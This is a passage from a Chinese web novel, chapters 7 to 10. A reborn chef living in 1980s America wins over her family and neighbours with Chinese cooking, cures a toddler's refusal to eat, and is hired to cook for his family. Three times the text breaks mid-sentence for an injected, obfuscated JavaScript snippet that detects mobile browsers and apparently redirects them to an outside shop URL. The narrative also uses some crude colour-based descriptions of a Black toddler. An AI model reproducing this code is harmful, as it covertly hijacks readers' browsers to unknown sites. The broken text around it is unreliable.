《八零留子夫妻养娃日常》 7. 第7章 凯特猜测:“小乔治一出生就是外祖母在带,外祖母一走,肯定不习惯,所以才吃不下饭,太可怜了,愿上帝保佑他尽快适应。” “两个月瘦了六磅,一岁半了,不到十五磅,每天就喝三顿羊奶粉,其他什么东西都不吃,史密斯和赵都非常着急,已经准备给Z国打电话,恳求赵的母亲尽快赶过来照看小乔治。”约瑟夫将洗好的菜递给林晴天。 林晴天接过菜盆,将里面的蔬菜倒入煮沸的开水焯一遍,迅速捞起,以免影响蔬菜的颜色和质地,然后放置一旁备用。 她怀疑小乔治是吃惯了外祖母做的中餐,养成了Z国胃,才吃不下家里做的白人饭。 但因为年纪小,表达不清楚。 “我想试试。”林晴天冷不丁来一句。 约瑟夫和凯特同时看向她,凯特立马劝她:“噢,不,亲爱的,虽然你和小乔治的外祖母都是Z国人,但是,赵何尝不是Z国人,她都没有办法治好小乔治的厌食。” “那是因为赵不会做饭,”林晴天说干就干,反正面团醒发还要时间,加上他们大人能吃油泼面,杰米可吃不了这么重口的面食,而不放辣椒的油泼面是没有灵魂的,上辈子作为中餐馆老板兼大厨的林晴天,早就准备另外再做一锅疙瘩汤,她打开冰箱拿出小番茄,眼睛发亮地补充一句说,“而我非常会做中餐。” 这样自信的她简直太迷人了,凯特一把抱住她,在她脸上亲了一口。 疙瘩汤要比油泼面简单,炒锅倒油烧热后,放入切好的小番茄和蒜末,快速翻炒,香味瞬间弥漫开来,惹得在前院玩你追我赶的杰米和大卫跑进来,趴在厨房门口边吸鼻子边说好香。 小朋友似乎天生对番茄毫无抵抗,并且不分国界。 炒出香味后,林晴天往锅里倒入适量的清水,等它煮沸的时候,切了一把青菜丝。 一抬头,看到门框上长的两只小脑袋,一白一黑,她挥手打招呼。 “啊啊啊……”小黑娃尖叫地跑开了,像被狗追一样。 林晴天:“……” 他妈不也是黄种人吗?他该早习惯了才对。 肯定是杰米在小黑娃面前蛐蛐她了,你看他跟着跑开的时候笑得多“贱兮兮”。 番茄汤煮开后,林晴天将和好的面疙瘩,均匀地放入锅中,不停地进行搅拌,防止糊锅,快熟时,倒入切好的青菜丝和一颗鸡蛋液,最后加入适量的盐和小葱碎就大功告成了。 色香味俱全,也易于消化,小朋友食用最合适不过了。 林晴天盛出两碗给凯特,让她帮忙端出去给杰米和大卫吃,凯特接过去后,用力地吸一口气,不禁夸赞道:“噢,看着就好吃,亲爱的,你的厨艺太出神入化了,我真的太期待你接下来要做的油泼面了,一定会是我吃过最好吃的中餐。” “值得期待。”林晴天朝她挑眉。 凯特真是越来越喜欢林晴天了,不像她认识的大多Z国人,他们含蓄谦虚,让人捉摸不透,与之相处,总要小心翼翼,但林晴天不会,她干脆大方,没有距离感。 林晴天考虑到小乔治年纪,就只给他盛了小半碗,请约瑟夫代劳送去隔壁,而她要开始做油泼面了。 约瑟夫非常乐意跑腿,因为他想亲眼看看厌食症的小乔治会不会吃女儿做的这个面疙瘩。 林晴天将醒发完毕的面团,从中间往两边揉光滑后,拿到案板上搓成了长条,用刀切成小块,放入刷了油的餐盘里,然后刷上一层油,静置期间,切好蒜末和葱花。 面块擀成薄片,没有擀面棍,林晴天就地取材,用的啤酒瓶,最后压一下面片中间,这样会更有韧劲,随便拉扯也不会断。 拉到适当的薄厚,依次下入煮沸的锅里,三分钟后捞出来放碗里,铺上焯过水的蔬菜,花椒粉、辣椒粉、盐、蒜末和葱花,另起锅烧油,一定注意不要滚油,不然容易糊味。 滋啦——袅袅青烟后,果然跟想象中一样,香得人口水流下来。 凯特再也坐不住,从饭厅闻香赶来,“亲爱的,油泼面做好了吗?太太太香了吧!这世上居然有比番茄炒鸡蛋还要香的中餐,你简直是上帝派来拯救我们的天使。” “端出去吧,我再拍一个黄瓜。”林晴天干劲十足,只花了两分钟就做好了一盘蒜蓉黄瓜,端着刚走出厨房,就听到约瑟夫回来了,她伸着脖子喊道:“爸爸,油泼面做好了,麻烦您再跑一趟给史密斯太太送过去吧。” “不用送了,赵来我们家了。”约瑟夫走进客厅,后面跟了一位年纪和林晴天差不多的Z国女人。 林晴天迎上去,本来想跟对方握手,但看到对方抱着孩子,便自我介绍道:“你好,史密斯太太,我叫林晴天,来自Z国川省。” “你好,安太太,我叫赵诗琪。”赵诗琪的英语说得很标准,声线更是温柔好听,就像她的气质,眉眼间笼着春意缱绻。 如果不是凯特告诉她,林晴天会觉得赵诗琪是苏杭人,带着江南水乡的轻柔。 不过长相倒是典型的海市小女人,身材纤瘦高挑,标准的鹅蛋脸,大眼睛长发,穿着打扮很讲究,披了一件刺绣披肩。 皮肤很白,尤其是在小黑娃的衬托下,简直白得发光发亮。 小黑娃就是史密斯家的“厌食症”小孩儿,已经瘦得不成样子,一岁半看起来跟一岁差不多,小脸完全没肉,如果也是黄种人,肯定和陈年腊肉一个色,不过五官倒是长得很漂亮,和他妈很像。 民以食为天,小黑娃每天就喝三顿奶,其他东西都不吃,对生活失去了兴趣似的,一双大眼睛空洞无神,整个人也看起来很没有精神,恹恹地靠在她妈的怀里。 “既然来了,那就一块吃吧,史密斯太太。”林晴天热情邀请道。 赵诗琪嫁来M国三年,虽然已经习惯吃“白人饭”,但骨子里终究流淌着的中华儿女的血,中餐对她还是有着致命诱惑,嘴角温柔地笑了笑,“那就打扰了。” 林晴天领着赵诗琪母子进饭厅,将拍黄瓜端上桌后,张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193387|197095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗道:“大伙快吃吧,不然面坨了就不好吃了。” 赵诗琪落座后,将小乔治放地上,小乔治不哭不闹,就乖乖地站在餐椅边,睁着一双大眼睛看着前方。 他个子小,正前方除了垂下的餐布,其他什么都看不到,但他仍是不哭不闹,就一动不动地站在那里,跟一只布娃娃似的。 坐在他另一边的林晴天低头看他,发现他怀里抱了一个橡胶娃娃,除了肤色不一样,简直是和小乔治一个模子刻出来。 “亲爱的,这个面要怎么吃啊?”诱人的美食就在面前,却无从下手,凯特着急地询问林晴天。 家里没有筷子,林晴天用叉子演示,“其实和意面差不多,先将面和调料搅拌均匀,然后就可以吃了。” 每一条面都裹上了满满的料汁,一口下去,直抵灵魂深处,就是这个味,太好吃了,林晴天闭上眼睛,仿佛回到了故国,站在了黄土高原之上,北风呼呼也丝毫不觉得冷,因为身体里的血液在沸腾。 作为川省人,林晴天从小吃辣长大,油泼面的辣对她来说毛毛雨一样,但对饭桌上其他人而言无疑是倾盆大雨。 仿佛吃了一包炸药,身体的每个细胞都燃起了火焰,与此同时,香味也进入了全身的每一处,从脚底板到天灵盖,最后汇集到耳蜗,恍惚中听到了歌声。 那是一股热情,一种力量,一个民族背后的美食文化底蕴。 一口油泼面,一口拍黄瓜,好吃到根本停不下来。 林晴天、赵诗琪还有约瑟夫埋头干饭,没空发表美食心得,只有亚历山大夫妇总能搞出点儿“死动静”: 凯特先翻白眼,然后捂住胸口,上半身往后仰的同时,嘴里发出暧昧的怪声“嗯~嗯~” “Oh gosh!!Thaaaaaaat''s so good!!!!感谢上帝!” 林晴天不禁看她一眼,凯特立马抓住她的一只手,亲吻上去,“主厨之吻,嗯~这太好吃了吧!嗯~” 林晴天缩脖子,眨眨眼睛,这什么声音啊?怪耳熟的。 而坐她对面的亚历山大表情极其愤怒,将叉子往桌上一放,拍案而起。 林晴天吓一大跳,他是不是不能吃辣?他是不是要打她啊? 亚历山大一手握拳头,疯狂击打自己的另一只手,质问林晴天:“这是你做的?这是你做的?” 林晴天点头,打了自己就不要打我了。 “太美味了!我的妈妈呀!”亚历山大继续捶胸顿足,对油泼面和林晴天发火。 “嗯~”凯特继续发出怪声,深深感动,享受的表情已经上了天堂。 林晴天没想到吃个饭还有表演看,真的好幸福哦,林晴天摇头晃脑,身后长出了小翅膀。 吃到最后,每个人的油泼面都吃得干干净净,亚历山大连拍黄瓜剩下的汤汁也没放过,一口喝掉了。 凯特两眼发亮地看着林晴天,“噢,亲爱的,真的,毫不夸张,这是我吃过最好吃的中餐。” 8. 第8章 “辣椒面换成秦椒会更正宗。”林母喜欢研究美食,不光做川菜,其他菜系也会做,因此林晴天不大的年纪就足不出户地吃遍了全国美食。 林晴天和安清风幼时不太能吃辣,林母特意托人从陕西带回秦椒种子,每年都会种几株。 秦椒和川省的辣椒不一样,它香而不辣,辣而不燥,陕西八大怪,油泼辣子一道菜说的就是秦椒。 林晴天望向后院,如果能在家里种上一小片,等秦椒长熟了,就可以做鲜椒酱,绿辣子和红辣子各一半切圈,配上姜末、葱花、蒜蓉,热锅凉油炒熟,最后加入豆瓣酱、豆豉、花生碎等调料,就可以出锅装罐了,香辣入味,味香浓郁,夹鞋垫子都好吃。 秦椒晒干碾碎还能做油辣子,用来拌面、拌饭、调拌菜,那叫一绝。 亚历山大夫妇主动揽过收拾厨房的活儿,约瑟夫在院子陪孩子们玩,林晴天和赵诗琪坐到客厅沙发上,小乔治坐他妈的腿上,怀里抱着他的橡胶娃娃,一声不吭。 林晴天看过约瑟夫端回来的疙瘩汤,还是小半碗,根本没动,就问赵诗琪:“小乔治不吃吗?” 杰米和大卫每人吃了两碗疙瘩汤,还想吃,凯特担心他们积食,就没同意,按理说小乔治不该不喜欢啊。 赵诗琪摇头,很抱歉地说:“浪费你一片好心了。” “要不我试试?”林晴天并不是一定要证明自己的厨艺,只是单纯地看小乔治不吃东西就这么耗下去很可怜。 赵诗琪也心疼自己的儿子,便点头同意道:“那就麻烦了。” “太见外了,都是Z国人,出门在外理应多照应。”林晴天起身去厨房,将那小半碗疙瘩汤放进微波炉打热。 这边喜欢吃快餐,家里最常见的两大厨房用具就是烤箱和微波炉。 “叮——” 林晴天取出疙瘩汤,凯特小声问:“小乔治不是不吃吗?” “我想试试。”林晴天从餐具盒里选了小汤勺,轻轻地搅拌了一下疙瘩汤,虽然看起来没有刚出锅时美味,但闻起来还是很香的。 “噢,亲爱的,你不会是要使用东方国度的神秘之术吧?”凯特一边问林晴天一边激动地去扒拉丈夫。 担心疙瘩汤又凉了,林晴天来不及解释,端起碗出了厨房,听到凯特嘴里蹦出来的几个单词:巫术、诅咒、死人…… 她真是一个头两个大。 赵诗琪已经将小乔治安置在沙发上,说他呆吧,却又很聪明,看到林晴天端着碗在他对面蹲下,他就知道又要给他喂饭了。 小脸立马一皱,将头转向一边,浑身上下都在抗拒。 赵诗琪以为林晴天会各种哄,就像她平时那样,然而并没有,林晴天二话不说,一把抢过小乔治抱在怀里的橡胶娃娃。 最心爱的玩具被抢走了,小乔治虽然不像其他小朋友那样发脾气,但至少有了反应,他将头转了回去。 林晴天眼疾手快,舀了一勺疙瘩汤,直接怼进小乔治的嘴里。 小乔治下意识地就要把食物吐出来,林晴天不给他机会,用手捂住他的嘴,小乔治没有办法,只能含在嘴里,然后疙瘩汤的美味就在唇齿间迸发了出来,小乔治露在外面的大眼睛微微睁大,看向了林晴天。 林晴天发现他的眼睛跟宝石一样闪亮纯净,她缓缓地松开了手。 赵诗琪看到儿子没有把疙瘩汤吐出来,而是咽进了肚子,眼眶一下就红了。 等不到投喂,小乔治主动地张开嘴,发出奶呼呼的“啊——” 林晴天笑眯眯地舀起一勺喂给他。 亚历山大夫妇在厨房讨论完,走到门口就看到这么一幕:“厌食症”的小乔治在林晴天的巫术治疗下吃饭了!!! 我的上帝啊! Z国巫术也太厉害了吧! 感觉到丈夫在抖,凯特转过头看他,愣了一下,指着他红肿的嘴唇,“噢,亲爱的,你的嘴怎么了?” 亚历山大瞪大眼睛,写满了恐惧和绝望,“呜呜呜……她终究没有放过我。” 凯特扶住腿软的丈夫,“噢,亲爱的,不要怕,我有办法解除诅咒,你一定要按照我说的去做。” 于是,林晴天喂完小乔治疙瘩汤,亚历山大突然走过来塞给她100刀,说是身上只带了这么多现金,如果不够,他可以回家取钱。 林晴天一头雾水,为什么要给她钱? “Sunny,这些钱,你一定要收下,就当我们一家中午的饭钱。”凯特帮忙劝说。 “一家人不说两家话,一顿饭而已,给钱算什么事儿?”林晴天想把还回去,两口子跑得比兔子还快,她听到亚历山大问凯特:“收了钱,她就会解除诅咒吗?” 凯特看一眼丈夫的嘴唇,又惊又喜,“亲爱的,诅咒已经解除了,你的嘴唇恢复如初了。” 亚历山大抿抿嘴唇,果然没有刚才火辣的感觉了,如此一来,他越发坚信他这个同父异母的妹妹精通Z国巫术。 完全没想过嘴唇是因为吃辣才变得红肿。 林晴天目送亚历山大夫妇带着孩子在院子里和约瑟夫道别后匆匆离开,再低头看手里的美元,似乎明白了怎么回事。 嗐,既然如此,这钱,她还是收下好了。 不然她那个傻哥哥可能会怕得整宿做噩梦。 儿子终于吃东西了,赵诗琪太激动了,不知道怎么感谢林晴天,就依葫芦画瓢,将身上的钱拿出来给了她。 林晴天:“……” 一晃神,又被塞了一把钱。 喝完疙瘩汤,小乔治虽然还是很乖地坐在沙发上,但明显有精神多了,他缓缓地抬头看向赵诗琪。 四目相对,赵诗琪第一次在儿子眼睛里看到了内容——他还想再来一碗疙瘩汤。 但儿子已经两个月除了羊奶粉外没吃过其他东西了,赵诗琪不敢让他一次性吃太多,就抱在怀里哄了几句。 小乔治乖巧地点头。 林晴天觉得好有意思,小黑娃居然通人性。 赵诗琪紧紧地抱住小乔治,悬着的心终于平稳落地,儿子愿意吃疙瘩汤,说明他不是厌食症。 她的儿子没有得病,和其他小朋友一样,是健康的小宝贝,不用送他去医院治疗,她的宝贝不用受那些大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193388|197095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都无法承受的苦难,感谢上帝,感谢同在异国的同胞姐妹。 本来约瑟夫大叔端疙瘩汤过去,她试了一下,小乔治不肯吃,她已经放弃,一块过来是为了感谢林晴天的好意。 没想到会迎来转机和惊喜,林晴天居然投喂儿子成功了。 赵诗琪喜极而泣,抓住林晴天的手,一再表示感谢,“安太太,您就是我们家的救命恩人。” 林晴天看着眼前的赵诗琪,她此刻和温柔漂亮完全不沾边,眼泪鼻涕一把抓,碎发都被糊到了脸上。 原来天下母亲都一个样,只要她对孩子有心,孩子就是她心尖上的那块肉。 晚上,林晴天看着自己心尖上的那块肉陷入了沉思。 小茄子生下来后,在月子里,紫了两天,黄了三天,剩下的二十几天都是红的,现在终于白了一点,可以看清楚五官,林晴天发现了一个更严重的问题。 她和丈夫生了一个混血宝宝!!! 不对啊,约瑟夫是D国人,该她是混血才对,然而她一点没混到,地地道道的东方长相,以致当初约瑟夫找上门要认她,她一度怀疑他是个洋人骗子,直到亲子鉴定报告出来。 混血基因还能隔代继承? 小茄子长了一双碧蓝色的大眼睛,和约瑟夫瞳孔的颜色一模一样,当然因为年纪小,更为透亮清澈。 小鼻子又高又挺,像她爸爸,小嘴巴也像她爸。 不是,她生的孩子,总共就一双眼睛一个鼻子一张嘴,怎么没有一处像她? 林晴天接受不了,趴在婴儿床护栏边抓耳挠腮。 安清风打工回来,推开门,看到妻子在做鬼脸逗女儿玩,所有的疲惫在这一刻统统消失,他走进去,将打包回来的夜宵放到小桌子上,“今天打包的大葱猪肉水饺,我已经热过了,趁热吃。” 听到有饺子吃,林晴天失落的心情好了些,过去叉起一个水饺,先喂给丈夫吃,安清风吃了一个水饺,就去看自己一天没见的女儿了,稀罕地摸摸小脸,摸摸小手,小脚丫也不放过。 林晴天端着餐盒过去,往嘴里塞进一个水饺,“嚼嚼嚼……小茄子不像我和你的孩子,像你和爸爸的孩子。” “咳咳咳……”安清风被呛得一直咳。 林晴天一边给丈夫拍拍背,一边解释女儿没一处长得像她。 安清风大舒一口气,安慰妻子:“也不是没有地方像你。” 林晴天一脸期待。 安清风举列说明:“小茄子的小手就跟你一样,又短又肉,小脚丫也是,还有小脸蛋,多肉啊。” 林晴天:“……” 安慰得很好,下次别安慰了。 看到妻子气得鼓起腮帮子,安清风觉得不要太可爱,他从衣服口袋里掏出一支口红给林晴天。 林晴天立马不生气了,一张脸笑得跟朵花似的,放下餐盒,跑到梳妆台前面,对着镜子涂抹口红。 安清风审美在线,给她选了一款暗玫瑰色的口红,涂上去不会太扎眼,又很衬肤色。 她抿了抿唇,回头,朝丈夫笑得眉眼弯弯,“清风,好看吗?” 9. 第9章 林晴天长得虽然并不惊艳,但十分耐看,尤其是笑起来,眼睛呈月牙状,嘴角牵出梨涡,给人一种热情的亲切感。 安清风点头,“很好看。” 林晴天折返回去,抱住丈夫的手臂,娇嗔地问道:“舍得给我买口红,怎么不给自己买一辆自行车?” 安清风在读的康奈尔大学离他们现在住的地方虽然不远,但去华人街很不方便,没有公交车直达,下车后需要步行半个小时。 在安清风找到中餐馆洗盘子的兼职那天,林晴天就提议他去二手市场淘一辆自行车,她都打听过了,最多不超过10刀,换算成人民币就20多块钱。 要知道国内一辆自行车可是150起步,就算是二手,那也得大几十块。 但安清风还是舍不得,他要把钱存下来给女儿买奶粉喝,给妻子打包中餐吃。 “每天步行一个小时就当锻炼身体了。”安清风说。 他们现在经济情况并不乐观,除去日常开销,还欠了约瑟夫一大笔钱,毕竟在M国生孩子比在国内要贵太多了。 这些,丈夫不说,林晴天也知道,但她乐观啊。 拿出今天在家做饭赚的外快,总共160刀,呲着大牙,豪气万丈,“安清风同志,拿去,买自行车。” “林晴天同志,诈骗违法,听话,把钱还给约瑟夫先生。”安清风一本正经劝道。 林晴天噗嗤笑出声,把今天发生的事情告诉丈夫后,“放心吧,安清风同志,我凭本事赚的钱。” 安清风搂住林晴天的肩膀,“辛苦了。” 林晴天靠在丈夫的怀里,嘴角浅浅地笑着,“一点不辛苦,一家人心往一处想,劲往一处使的感觉,真好。” 上辈子她就是太钻牛角尖了。 安清风将妻子往怀里带了带,下巴抵在她的发顶,“我一定会让你和小茄子过上好日子的。” 林晴天环上丈夫的腰,脸往他怀里埋,“我相信你。” 等丈夫学成归国报效祖国,数年后就是建筑学领域泰斗,名利双收,她和女儿到时候就能跟着享清福了。 所以,全力支持丈夫成功何尝不是一种成功呢。 林晴天重生回来就想通了,这辈子她选择躺平,做饭带娃,得空了,把后院收拾出来种地,提前开启养老模式。 “清风,你把中餐馆和送货的兼职辞了吧?”林晴天不想丈夫太累了,他现在还是要以学习为主。 虽说翻译费脑子,但比洗盘子和送货要轻松。 “再缓缓吧。”安清风这段时间身体确实严重透支,有好几次送货路上都差点睡着,但他还是想尽快把欠约瑟夫的钱还上,以及他们一家住在这里的租金。 安父安母走得早,安清风独立惯了,不喜欢麻烦别人,更不想欠人情,林晴天和他一块长大,能不知道这些吗? “清风,约瑟夫不是外人,他是我的爸爸,也就是你的老丈人。” “我知道,但亲兄弟明算账,约瑟夫的钱也不是大风刮来的。”安清风有自己的原则。 “欠债还钱,天经地义,我没说不还爸爸的钱,只不过这钱该我来还,你不必操心……”林晴天话没说完,安清风握住她的肩膀,将她掰正面向自己,“你是我的爱人。” 安清风很少紧张,林晴天更少见到,她忍不住地笑出声,“你慌什么?我又不是要和你划清界限,清风,你听我说,你现在最重要的是学习,别忘了祖国母亲还等着你学成而归,所以还钱的事情就交给我吧。” “我已经跟爸爸打听过了,隔壁史密斯先生服装厂生意做得不错,对自己的儿子又非常疼爱,自然舍得在他身上花钱,他爱吃我做的饭,明天史密斯先生肯定会来雇我负责小乔治的每日三餐。” “还有爸爸,他太想我妈了,说是只有吃我做的饭,他的心才不会那么空落,所以我跟他商量好了,以后我每天做饭给他吃,就当交房租了。”约瑟夫本来不同意,但林晴天坚持,再说了,这饭也不是白吃,他还要帮忙带孩子呢。 “约瑟夫先生不是打算重开面包店吗?这样的话,你每天做饭带孩子忙得过来吗?” 约瑟夫是典型的D国人,在他的字典里没有发财这个词,对他来说,赚钱够用就行了,以前开面包店,每天下午三点就打烊了,因为要回家去公园遛巴迪。 去年和林晴天关系决裂,约瑟夫心情低落,第二天就把面包店关了,提前退休,准备用自己的积蓄完成这些年攒下来的夙愿,那就是回Z国,去到今生挚爱生活了一辈子的林家村。 机票都买好了,听人说林晴天怀孕,约瑟夫不得不搁浅计划。 原本打算等女儿生产完,他远远地看一眼外孙就满足了。 没想到女儿会原谅他,一家三口搬回来住,约瑟夫觉得是林在天有灵,给他机会弥补女儿,便决定不回Z国了,要留在女儿身边,帮她照顾小茄子。 在此之前,约瑟夫从未想过给子女看孩子,因为深知隔代教育的弊端,孩子就应该由父母陪伴。 所以亚历山大的孩子,他没看过一天。 但小茄子不一样,她是女儿的孩子,他已经错过了女儿的童年,不能再错过外孙女的成长。 “爸爸会请面包师傅,他主要负责看店,就可以把小茄子带过去照看,而且面包店离家也就两里路,来回很方便,爸爸重新开店也是为了小茄子,想多赚点钱养她。” 安清风心存感激,“约瑟夫先生有心了。” 他是何等幸运,让他遇到的人都如此友善。 “那就这么愉快地决定了,以后就只做翻译的兼职,其他时间用来学习,还有早点回家陪小茄子。” 安清风重新将林晴天搂在怀里,“好。” 最幸运的是让他遇见了林晴天。 纽约进入四月后,天亮得越来越早,到月底,六点半已经满屋透着光。 安清风先起床给小茄子喂奶换纸尿裤,林晴天赖在床上,看着在晨光里忙活的丈夫,两眼直冒粉泡泡。 不愧是妈妈严选,长得帅,又有才,还顾家,简直绝了。 收拾完女儿,安清风回头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193389|197095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到趴在床上痴痴望着他的妻子,一脸无奈,“不是饿了吗?” 一语惊醒梦中人,林晴天翻身爬起,换好衣服,往卫生间跑,边刷牙边探头问丈夫:“你说别人哺乳期容易饿,可我又没喂奶,怎么也动不动就饿啊?” “能吃是福。”安清风抱起婴儿床里的小茄子,小茄子靠在爸爸的臂弯里,伸伸小手,伸伸小脚,开始做早操。 “月子里就不会,说来说去还是吃不惯白人饭。”林晴天麻溜儿洗漱完,出来又问丈夫,“早上想吃点什么?鸡蛋灌饼怎么样?” 为表感谢,也可能是用不着,赵诗琪昨天把菜籽油留给了林晴天,家里还有半袋面粉,冰箱里也有鸡蛋和生菜,做鸡蛋灌饼再合适不过了。 “可以。”安清风宠溺地看着怀里的女儿,小茄子做完早操开始打哈欠,大眼睛涔出一层雾气,跟水洗过的碧空一样漂亮。 林晴天走过来看小茄子,“吃完就睡,小猪崽啊。” 小茄子似乎听懂了妈妈的话,很不乐意地把脸转向一边。 “哟,还对我翻白眼。”林晴天撸起袖子,一副大干一架的阵势,然后夹着嗓音拍手,“小茄子,小乖乖,来,妈妈抱。” 从丈夫手里接过小茄子,林晴天屏住呼吸,弯腰驼背屈膝,像偷孩子的贼,跟安清风抱刚出生的小茄子一个样。 为了让林晴天坐好月子,安清风和约瑟夫不允许她抱孩子,林晴天虽然偷偷地抱过两次,但还是经验不足。 不知道是抱得不舒服,还是认人了,林晴天一抱过,小茄子就哼唧,吓得她赶紧还回去。 小茄子身上像按了雷达似的,一挨到她爸立马就不闹了,闭上眼睛,睡着了。 睡着后的小茄子简直就是小天使,小脸圆乎,皮肤雪白,睫毛又长又翘,小嘴巴粉嘟嘟。 怎么看都看不够啊,林晴天眼睛恨不得钉在女儿脸上,忧心忡忡问丈夫:“你说她是不是不喜欢我啊?” “不可能,应该是抱少了。”安清风不放心把女儿一个人放屋里,抱着一块下楼吃早饭。 只要女儿不是和她一样是重生,林晴天相信感情可以慢慢培养,等约瑟夫和安清风都不在家了,小茄子叫天天不灵叫地地不应,就只能依赖她了。 林晴天搓手,有点期待。 “Sunny,清风,凯特昨天做的饭后甜点忘吃了,我们早饭吃这个可以吗?”约瑟夫把甜点端到饭厅的长桌上,接过小茄子放到婴儿车里,招呼小两口:“快开动吧。” 林晴天和安清风互看一眼,从善如流地坐过去,叉了一小块甜点放嘴里。 一口下去,甜得她牙疼,接着直逼脑子,林晴天扶住额头,脑袋瓜疼啊,实在来不了第二口。 偷瞄约瑟夫一眼,吃得津津有味,毕竟在M国住了这么多年,已经习惯了,再看安清风,居然面不改色! 林晴天脖子一伸,小声问他:“好吃吗?” “蚊子现在咬我一口都得变蜜蜂,”安清风精准评价,“低血糖吃一口都能一口气登顶珠穆拉玛峰。” 10. 第10章 “噗——”林晴天被逗笑了。 “我的小甜心,你怎么不吃了?”约瑟夫看林晴天放下叉子问。 “爸爸,请原谅我说话不好听,凯特做的这个甜点太甜了,我和清风吃不了这么多,我想另外做两份早餐。”林晴天实诚道。 约瑟夫闻言,立马放下手里的叉子,“哦,我的小甜心,如果可以,请多做一份,爸爸也想吃。” 吃习惯了,不代表喜欢吃。 一拍即合,林晴天起身去厨房做鸡蛋灌饼,快手调好稀油酥和甜面酱底料备用,将醒发好的面团切成剂子,把每个剂子都均匀地刷上油酥后,擀成薄薄的圆形。 用手试一下铸铁煎锅的温度,烫了,把面饼摊上去的一瞬间,发出“刺啦”的细碎声,在窗外鸟叫声的应和下听起来格外的美妙,林晴天欢快地扭动起身子。 对别人来说,做饭或许是一种负担,但于她而言却是享受,可以静下心来烹饪自己喜欢的美食,既满足又有成就感。 将面饼翻一面,很快中间凸起一个面泡泡,林晴天用叉子将它戳破,将打好的蛋液灌进去,待其成型再翻动面饼,煎至金黄后,刷上甜面酱,撒上小葱,最后夹两片生菜就可以出锅了。 林晴天将卷起来的鸡蛋灌饼铲起来放到餐盘,约瑟夫跑进来,用很不标准的中文说道:“窝的麻鸭,窝的麻鸭,素鸡蛋冰冰!” 两眼放光的样子和小茄子太像了。 林晴天动作娴熟,很快做好另外两个鸡蛋灌饼,和约瑟夫一块端上桌,让守在婴儿车边上的安清风赶紧来吃,冷了就不好吃了。 没有筷子,叉子又不方便,林晴天直接上手拿起鸡蛋灌饼,一口下去,眼睛闭上,仰着脸,陶醉了,忘了自己身在何处该去往何处,整个世界就剩下她和鸡蛋灌饼。 就连安清风咬了一口,眼睛也微微地睁大,他低头看手里的鸡蛋灌饼,就是这个味道。 林婶子在世的时候,早上经常给他和林晴天做鸡蛋灌饼,因为刷了油酥,外皮非常酥脆,鸡蛋外层也煎得酥酥的,但是里面又是柔软的,唇齿间弥漫着蛋香味和酱香味。 小葱过了火,完美地中和自身的辛辣味,给鸡蛋灌饼添了几分葱香,而夹在饼里的生菜脆爽解腻,简直就是锦上添花的存在。 一人一个鸡蛋灌饼根本吃不够,林晴天又去厨房做了三个出来,两个鸡蛋灌饼下肚,三人终于心满意足,往后靠在椅背上,不想动弹了。 安清风最先恢复过来,他看了眼墙上的挂钟,该去学校了,他弯腰亲吻了一下睡梦中的女儿,起身一转头对上林晴天眼巴巴的眼神,他犹豫了两秒后,伸手扣住林晴天的后脑勺,往自己跟前一带,吻上她的额头。 林晴天懵懵地摸自己的额头,他亲她干嘛?她只不过是看到父女俩相处觉得很有爱。 “清风!”林晴天追出去,在他嘴唇上亲了一口,“晚上早点回来,我们等你吃饭。” 安清风望着林晴天欢快跑回去的身影,眉眼舒展地笑了。 约瑟夫在厨房洗碗,林晴天正要推睡醒的小茄子去院子里玩的时候,门被敲响了,她走去打开,是赵诗琪带着丈夫和孩子来了。 林晴天想过他们今天会来,没想到会来这么早,史密斯先生长得很瘦很高,一看就是那种只要参加比赛肯定夺冠的运动健将,简单地互相介绍后,史密斯激动地握住林晴天的手,“噢,安太太,求您救救我的孩子,上帝一定会保佑您的。” 果不然出林晴天所料,史密斯夫妇想要雇她给小乔治做饭,每日三餐,工钱1000刀一个月。 1000刀!!! 虽然M国八十年代初人均工薪每个月能有1200—2000刀,但她只是在家给小孩子做个饭,史密斯先生就开到了1000刀,比她想象中多太多了。 她以为最多500刀。 史密斯说明情况,“我平时工作忙,经常出差外地,短则一周,长达半个月,赵不会做饭,所以我有个不情之请,可以把赵的饭菜也一块做了吗?还有大卫。” 大卫并不是史密斯的孩子,而是他哥哥的孩子,因为父母离异,父亲去加州上班,安定下来前,大卫暂住在史密斯家里。 1000刀,给一大两小做饭,林晴天觉得很赚,本来她每天就要做饭,不过是添三双筷子的事儿。 “除了工钱,我还能每个月帮忙采购食材。”史密斯好怕林晴天拒绝,紧急追加道。 “史密斯先生客气了,我可以自己购买食材,您只管放心将太太和孩子们交给我。”林晴天上辈子做过餐饮,知道在哪里可以买到中餐所需要的食材,而且价格不贵。 史密斯给的工钱已经很多了,没必要再让雇主破费。 